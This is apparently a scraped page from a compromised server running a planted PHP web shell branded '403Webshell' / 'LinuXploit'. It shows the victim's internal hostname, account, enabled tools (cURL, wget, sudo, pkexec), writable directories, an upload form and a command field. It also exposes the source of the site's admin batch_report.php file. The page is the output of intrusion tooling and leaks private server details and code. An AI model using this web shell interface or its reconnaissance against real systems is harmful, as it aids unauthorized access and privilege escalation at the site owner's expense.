403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewprod/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewprod/admin/batch_report.php
<?php
	set_include_path(__DIR__ . PATH_SEPARATOR . get_include_path());
	use PhpOffice\PhpWord\Settings;
	if (PHP_SAPI !== 'cli') :
		throw new Exception('Trying to run a batch job via HTTP.  Aborting.');
		exit;
	endif;
	require_once('mod/_sanitize.php');
	include_once('config/config.php');
	date_default_timezone_set(APP_TIMEZONE);
	try {
		$db = new PDO(DB_CONNECT_STRING, DB_USER, DB_PWD);
	} catch (Exception $e) {
		die('Could not connect: ' . 'Database Error!');
	}
	$sql_tz = "SET time_zone = '".APP_TIMEZONE."'";
	$db->query($sql_tz);
	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	require_once('mod/_functions.php'); 
	$report_file = trim($argv[1]);
	$type = trim($argv[2]);
	$_POST = json_decode($argv[3], true);
	$authorized_call = 1; 
	if ($type == 'oo_report') :
		ini_set('display_errors', '0');
		ini_set("pcre.backtrack_limit","10000000");
		ini_set("memory_limit","2048M");
		require_once('classes/lcs_db_report_base.php');
		require_once('classes/lcs_db_report.php');
		get_clean_report_post();
		if (($_POST['output_format'] ?? '') === 'email' && !empty($_POST['email_attachment'])) :
			$_POST['output_format'] = $_POST['email_attachment'];
			$_POST['save_file'] = true;
			$_POST['save_file_name'] = 'Report_' . date('Y_m_d_H_i_s');
			include('rpt/'.$report_file.'.php');
			$_POST['output_format'] = 'email';
		endif;
		include('rpt/'.$report_file.'.php');
	endif;

Youez - 2016 - github.com/yon3zu
LinuXploit